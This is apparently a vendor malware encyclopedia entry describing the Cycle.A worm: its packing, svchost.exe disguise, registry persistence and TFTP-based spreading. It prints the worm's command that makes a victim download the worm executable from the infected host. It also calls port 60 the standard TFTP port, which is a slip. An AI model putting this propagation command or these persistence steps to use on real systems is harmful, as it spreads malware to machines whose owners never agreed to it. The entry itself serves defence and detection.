Category: Malware

Type: -

Aliases: Cycle.A, W32/Cycle.A


Cycle.A is a network worm found on May 10th, 2004 exploiting the same vulnerability as Sasser does.

The worm contains long texts on the political situation in Iran.


Automatic action

Based on the settings of your F-Secure security product, it will either automatically delete, quarantine or rename the detected program or file, or ask you for a desired action.

Knowledge Base

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About the product

See the manual for your F-Secure product on the Help Center.

Contact Support

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Submit a sample

Submit a file or URL for further analysis.

Technical Details

The Cycle.A worm is packed with a modified version of UPX.

System Infection

When the worm enters the system it creates a copy of itself in the Windows System Directory as 'svchost.exe'.

"Generic Host Service" = "%windir%\system\svchost.exe"

Where %windir% is the main Windows folder.

It creates mutex with the following names:


The worm will attempt to terminate any process named 'msblast.exe'

Network Propagation

The worm uses the same exploit as Sasser worm family does.

Upon infection, the newly infected remote host will be instructed to obtain a copy of the worm executable from the local, already infected, host.

The copy process will take place through TFTP. The infected machine will open a TFTP server on the standard port 60, and send the following command to the machine being infected:

tftp -i [local ip] GET cyclone.exe

Where [local ip] is the infected machine and 'cyclone.exe' the worm's executable.

The machine will also open port 3332, and sit accepting connections there, without taking further actions. Machines connecting to this port, and being able to establish a connection will know that the machine is already infected and skip the infection attempt.